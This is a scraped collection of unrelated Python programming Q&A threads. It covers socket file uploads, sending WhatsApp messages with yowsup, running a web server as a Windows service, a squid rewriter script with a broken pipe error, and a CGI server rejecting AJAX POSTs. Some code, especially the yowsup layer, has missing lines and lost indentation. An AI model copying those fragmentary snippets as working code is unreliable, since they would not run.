sockets cant upload file

I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X

but didnt work when i tried to implement into my main code

yowsup - Integrating sending and receiving

Background:
I would like to integrate yowsup to my home automation project. I have seen a simple sample on how to receive messages and after some minor changes it is working fine.
Issue:
My problem starts when it comes to integrate the send message feature. Those are the two files I am using:
run.py
from layer import EchoLayer
from yowsup.layers.auth import YowAuthenticationProtocolLayer
from yowsup.layers.protocol_messages import YowMessagesProtocolLayer
from yowsup.layers.protocol_receipts import YowReceiptProtocolLayer
from yowsup.layers.protocol_acks import YowAckProtocolLayer
from yowsup.layers.protocol_presence import YowPresenceProtocolLayer
from yowsup.layers.network import YowNetworkLayer
from yowsup.layers.coder import YowCoderLayer
from yowsup.common import YowConstants
from yowsup.layers import YowLayerEvent
from yowsup.stacks import YowStack, YOWSUP_CORE_LAYERS
from yowsup import env
CREDENTIALS = ("phone", "pwd")
if __name__ == "__main__":
layers = (
EchoLayer,
(YowAuthenticationProtocolLayer, YowMessagesProtocolLayer, YowReceiptProtocolLayer, YowAckProtocolLayer, YowPresenceProtocolLayer)
) + YOWSUP_CORE_LAYERS
stack = YowStack(layers)
# Setting credentials
stack.setProp(YowAuthenticationProtocolLayer.PROP_CREDENTIALS, CREDENTIALS)
# WhatsApp server address
stack.setProp(YowNetworkLayer.PROP_ENDPOINT, YowConstants.ENDPOINTS[0])
stack.setProp(YowCoderLayer.PROP_DOMAIN, YowConstants.DOMAIN)
stack.setProp(YowCoderLayer.PROP_RESOURCE, env.CURRENT_ENV.getResource())
# Sending connecting signal
stack.broadcastEvent(YowLayerEvent(YowNetworkLayer.EVENT_STATE_CONNECT))
# Program main loop
stack.loop()
layer.py
from yowsup.layers.interface import YowInterfaceLayer, ProtocolEntityCallback
from yowsup.layers.protocol_messages.protocolentities import TextMessageProtocolEntity
from yowsup.layers.protocol_receipts.protocolentities import OutgoingReceiptProtocolEntity

from yowsup.layers.protocol_presence.protocolentities import PresenceProtocolEntity
import threading
import logging
logger = logging.getLogger(__name__)
class EchoLayer(YowInterfaceLayer):
#ProtocolEntityCallback("message")
def onMessage(self, messageProtocolEntity):
#send receipt otherwise we keep receiving the same message over and over
print str(messageProtocolEntity.getFrom()) + ' - ' + str(messageProtocolEntity.getBody())
receipt = OutgoingReceiptProtocolEntity(messageProtocolEntity.getId(), messageProtocolEntity.getFrom())
self.toLower(receipt)
#ProtocolEntityCallback("send_message")
def sendMessage(self, destination, message, messageProtocolEntity):

message,

self.toLower(outgoingMessageProtocolEntity)
#ProtocolEntityCallback("receipt")
def onReceipt(self, entity):
ack = OutgoingAckProtocolEntity(entity.getId(), "receipt", "delivery")
self.toLower(ack)
# List of (jid, message) tuples
PROP_MESSAGES = "org.openwhatsapp.yowsup.prop.sendclient.queue"
def __init__(self):
super(EchoLayer, self).__init__()
self.ackQueue = []
self.lock = threading.Condition()
#ProtocolEntityCallback("success")
def onSuccess(self, successProtocolEntity):
self.lock.acquire()
for target in self.getProp(self.__class__.PROP_MESSAGES, []):
phone, message = target
if '#' in phone:
messageEntity = TextMessageProtocolEntity(message, to = phone)
elif '-' in phone:
messageEntity = TextMessageProtocolEntity(message, to = "%s#g.us" % phone)
else:
messageEntity = TextMessageProtocolEntity(message, to = "%s#s.whatsapp.net" % phone)
self.ackQueue.append(messageEntity.getId())
self.toLower(messageEntity)
self.lock.release()
#ProtocolEntityCallback("ack")
def onAck(self, entity):
self.lock.acquire()

self.ackQueue.pop(self.ackQueue.index(entity.getId()))
if not len(self.ackQueue):
logger.info("Message sent")
#raise KeyboardInterrupt()
self.lock.release()
Questions:
Where am I supposed to call the send_message method, so I can send messages wherever I need it?
Is there a regular event (triggering every second or something) which I could use to send my messages?

#ProtocolEntityCallback("send_message")
def sendMessage(self, destination, message, messageProtocolEntity):
outgoingMessageProtocolEntity = TextMessageProtocolEntity(
message,
to = destination + "#s.whatsapp.net")
self.toLower(outgoingMessageProtocolEntity)
In the avove code sendMessage to be called, protocolEntity.getTag() == "send_message" has to be True. You don't need it to send message.

for target in self.getProp(self.__class__.PROP_MESSAGES, []):
phone, message = target
if '#' in phone:
messageEntity = TextMessageProtocolEntity(message, to = phone)
elif '-' in phone:
messageEntity = TextMessageProtocolEntity(message, to = "%s#g.us" % phone)
else:
messageEntity = TextMessageProtocolEntity(message, to = "%s#s.whatsapp.net" % phone)
self.ackQueue.append(messageEntity.getId())
self.toLower(messageEntity)
self.lock.release()
#ProtocolEntityCallback("ack")
def onAck(self, entity):
self.lock.acquire()

self.ackQueue.pop(self.ackQueue.index(entity.getId()))
if not len(self.ackQueue):
self.lock.release()
logger.info("Message sent")
raise KeyboardInterrupt()
self.lock.release()
To send message define a function send_message in the stack run.py. You can also import run.py and use it's function from other script.
from layer import EchoLayer, recv_msg
CREDENTIALS = ("phone", "pwd")
def send_message(destination, message):
'''
destination is <phone number> without '+'
and with country code of type string,
message is string
e.g send_message('11133434343','hello')
'''
messages = [(destination, message)]
layers = (EchoLayer,
(YowAuthenticationProtocolLayer,
YowMessagesProtocolLayer,
YowReceiptProtocolLayer,
YowAckProtocolLayer,
YowPresenceProtocolLayer)
) + YOWSUP_CORE_LAYERS
stack = YowStack(layers)
stack.setProp(EchoLayer.PROP_MESSAGES, messages)
stack.setProp(YowAuthenticationProtocolLayer.PROP_PASSIVE, True)
# Setting credentials
stack.setProp(YowAuthenticationProtocolLayer.PROP_CREDENTIALS, CREDENTIALS)
# WhatsApp server address
stack.setProp(YowNetworkLayer.PROP_ENDPOINT, YowConstants.ENDPOINTS[0])
stack.setProp(YowCoderLayer.PROP_DOMAIN, YowConstants.DOMAIN)
stack.setProp(YowCoderLayer.PROP_RESOURCE, env.CURRENT_ENV.getResource())
# Sending connecting signal
stack.broadcastEvent(YowLayerEvent(YowNetworkLayer.EVENT_STATE_CONNECT))
try:
# Program main loop
stack.loop()
except AuthError as e:
print('Authentication error %s' % e.message)
sys.exit(1)
def recv_message():
layers = ( EchoLayer,
(YowAuthenticationProtocolLayer, YowMessagesProtocolLayer,
YowReceiptProtocolLayer, YowAckProtocolLayer,
YowPresenceProtocolLayer)
) + YOWSUP_CORE_LAYERS
stack = YowStack(layers)
# Setting credentials
stack.setProp(YowAuthenticationProtocolLayer.PROP_CREDENTIALS, CREDENTIALS)
# WhatsApp server address
stack.setProp(YowNetworkLayer.PROP_ENDPOINT, YowConstants.ENDPOINTS[0])
stack.setProp(YowCoderLayer.PROP_DOMAIN, YowConstants.DOMAIN)
stack.setProp(YowCoderLayer.PROP_RESOURCE, env.CURRENT_ENV.getResource())
# Sending connecting signal
stack.broadcastEvent(YowLayerEvent(YowNetworkLayer.EVENT_STATE_CONNECT))
try:
# Program main loop
stack.loop()
except AuthError as e:
print('Authentication error %s' % e.message)
sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) == 1:
print('%s send number message\nrecv\n' % sys.argv[0])
sys.exit(1)
if sys.argv[1] == 'send':
try:
send_message(sys.argv[2],sys.argv[3])
except KeyboardInterrupt:
print('closing')
sys.exit(0)
if sys.argv[1] == 'recv':
try:
recv_message()
except KeyboardInterrupt:
print('closing')
sys.exit(0)
for m in recv_msg:
print('From %s:\n%s\n' % m)
Now you can send message by calling send_message('1234567890','Howdy') and recieve message by calling recv_message().

Run python Webserver as Windows service

I have server and console scripts which keeps on listening on port for console and server requests.
In UNIX environment I made both the server and console script as continuously running daemons which will keep them listening on port.
Is there any way way in windows to keep them running like daemon in UNIX ? I also want them to get up on reboot (should get auto started on reboot)
I read about windows services and followed code written here, but I am getting 404 error on my webpage

Any clues where I am going wrong ? Or good way to implement it (May be w/o using service).
Strict Note:
Solution must be in Python 2.6 (Project requirements).
Updates:
I saw some weird thing in log:python service.py debug
127.0.0.1 - - [04/Apr/2014 09:41:04] command: C:\Python27\Lib\site-packages\win3
2\**pythonservice.exe** -u C:\CONSOLE-CGI\cgi-bin\login.py ""
Why is executing CGI script using pythonservice.exe?
What am I missing Here?
More updates:

Any clues why is so??

You may need to redirect all the output since Windows scheduler has some issues doing this in pythonw case. Process does start properly, but no action being done and server does not respond without redirecting stdout and stderr.
import http.server
import socketserver
import sys
PORT = 1234
Handler = http.server.SimpleHTTPRequestHandler
if __name__ == '__main__':
sys.stdout = open('out.txt', 'w')
sys.stderr = open('err.txt', 'w')
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port %d" % PORT, flush=True)
httpd.serve_forever()

Broken Pipe Error on python script with squid

I am running a simple python script to log the accessed url using squid url_rewriter_program.
However every time it runs, rewriter crashes with broken pipe error at sys.stdout.flush().
Please suggest a specific solution.
python code is:
import sys
import os
import io
line = sys.stdin.readline()
fo=open("/home/linux/Desktop/foo1.txt","a")
fo.write(line)
fo.close()
sys.stdout.write("\n")
sys.stdout.flush()

This is a squid redirector file, written on python, can you get, or compare with your script:

Why wont my Simple CGI Server handle AJAX Post requests?

I have created my own CGI python server script (that serves on port 8000) by following a tutorial. The server works beautifully if I want to generate web pages from python scripts, or serve a native HTML page BUT it doesn't work for when I make an AJAX POST request?
If I make an AJAX request to the python file aaa.py (using the javascript below) my server prints out the following error text:
Code 501, message can only POST to to CGI scripts
"POST /aaa.py HTTP/1.1" 501 -

when you use the python http cgi server, cgi scripts have to be under the subdir (from you server script ) /cgi-bin
